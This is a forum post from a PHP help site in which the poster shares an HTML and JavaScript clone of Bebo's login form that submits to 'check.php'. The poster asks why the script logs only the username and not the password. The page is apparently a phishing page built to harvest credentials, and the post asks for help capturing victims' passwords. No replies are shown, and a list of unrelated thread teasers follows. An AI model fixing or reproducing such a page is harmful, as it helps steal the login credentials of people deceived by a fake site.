PHP Logging Error
Posted on
16th Feb 2014 07:03 pm by
admin
When running the script on website it doesn't copy both input boxes, Only the user and not the password, Any help would be great.. Heres the code, It's suppose to log the username and the password, but only the username comes up :|
Code: [Select]
<!-- Begin Login Form -->
<div id="login-box">
<a href="http://bebo.com/LostPassword.jsp" class="lost-password">Lost Password</a>
<h2>Login</h2>
<form id="login-form" action="check.php" method="post">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td><input type="text" id="username" name="EmailUsername" value="Email or Username" class="field" /></td>
<td>
<input type="text" id="passwordHolder" name="PasswordHolder" value="Password" class="field" />
<input type="password" id="password" name="Password" value="" class="field" style="display:none;" />
</td>
</tr>
<tr>
<td colspan="2" id="remember-field">
<input type="image" id="login-button" src="http://s.bebo.com/img/page/login-btn.png" alt="Login" name="SignIn" value="Sign In" />
<input type="checkbox" id="RememberMe" name="RememberMe" value="Y" />
<label for="RememberMe">Automagically for 2 weeks</label>
</td>
</tr>
</tbody>
</table>
</form>
<!-- form label/focus script -->
<script language="javascript">
if($defined($('username'))) { //not logged in
emptyUsernameText = $('username').value;
$('username').addEvent('focus', function(event) {
if(emptyUsernameText==this.value)
this.value = "";
});
$('username').addEvent('blur', function(event) {
if(this.value.trim()=="")
this.value = emptyUsernameText;
});
$('passwordHolder').addEvent('focus',function(event) {
this.setStyle('display','none');
$('password').setStyle('display','inline');
$('password').focus();
});
$('password').addEvent('blur',function(event) {
if(this.value.trim() == "") {
this.setStyle('display','none');
$('passwordHolder').setStyle('display','inline');
}
});
}
</script>
<div id="login-links">
<span id="more-info"></span>
<span id="sign-up"><a href="http://bebo.com/InviteJoin.jsp?Member=N">SIGN UP</a></span>
</div>
</div>
<!-- End Login Form -->
No comments posted yet
Your Answer:
Login to answer
184
6
Other forums
Need help making a blockquote and line items conditional
I have some code I bought a few years ago that allows my clients to update content on their site usi
if php cookie set, show code...
Hi all.. I need to figure out this little snippet right quick.. seems like it should be easy enough
A WBS element with the name XXX already exists in version FREI_VERSION
Hi.
When I am trying to insert WBS element in a project, error occurs:
"A WBS eleme
(sub)screen resize modification doesn't work after ECC 6 EhP 4 installation
Hello,
We have previously extended the size of the custom data tab on PO transaction ME23
Select all entries from database that include a phrase
I have a database of clubs - one of the categories is meeting time and place
I would like to have
Help with forum quoting?
Hi im working on a forum and I have alomost finished it but i want a user quote system like twitter
To change the name of label on SAP screen XK02.
Hi All,
Can one suggest me how to change the label of an input field of a sap standard s
getting a website's source code as a variable? How?
Hey guys, is there any way for me to get the source code of a website as a variable for me to work w
user administration
Dear @all,
what I have to do to set the user defaults for new users. At the moment I woul
preg-match with a string and numbers
Hi, I can't get the expression to work for my preg_match, what I'd like is for it to match the strin